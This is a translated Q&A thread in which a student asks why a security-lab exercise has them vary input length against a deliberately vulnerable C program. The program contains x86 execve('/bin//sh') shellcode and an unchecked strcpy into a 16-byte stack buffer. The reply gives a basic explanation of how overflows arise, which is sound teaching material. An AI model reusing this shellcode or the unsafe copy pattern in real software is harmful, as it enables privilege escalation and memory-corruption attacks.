2

我得到了一个 C 代码文件，其中给定正确的输入会发生缓冲区溢出，然后授予 root 访问权限。这是一个使用 ZShell 的 Fedora 错误。为了测试这一点（安全主题），我们禁用了 Linux 内核中启用的随机内存地址分配。

我被要求测试不同的输入，直到发生分段错误，其中输入是缓冲区大小。我不明白的是，我为什么要使用不同的值进行测试？我不确定代码是否会有所帮助，但我只是不明白改变输入的意义。

/* vulnerable.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
/* -------------------------------------------------- */
void vuln(char * buf)
{
    char a[16] = { 0 };
    strcpy(a, buf);
}
int main(int argc, char * argv[])
{
    int *ret;
    if (argc != 2)
    {
        printf("Usage: %s <input>\n", argv[0]);
        exit(1);
    }
    vuln(argv[1]);
    printf("%p\n", buf);
    return 0;
}
4

1 回答 1

1

我不明白的是，我为什么要使用不同的值进行测试？我不确定代码是否会有所帮助，但我只是不明白改变输入的意义。

缓冲区溢出只会在给定特定输入时发生，因此您应该尝试不同的输入以查看导致问题发生的原因。

提示：当用户输入长于程序预期时会发生缓冲区溢出，因此您应该尝试使用不同长度的输入，直到程序开始崩溃或出现意外情况。

于 2012-05-10T19:10:04.823 回答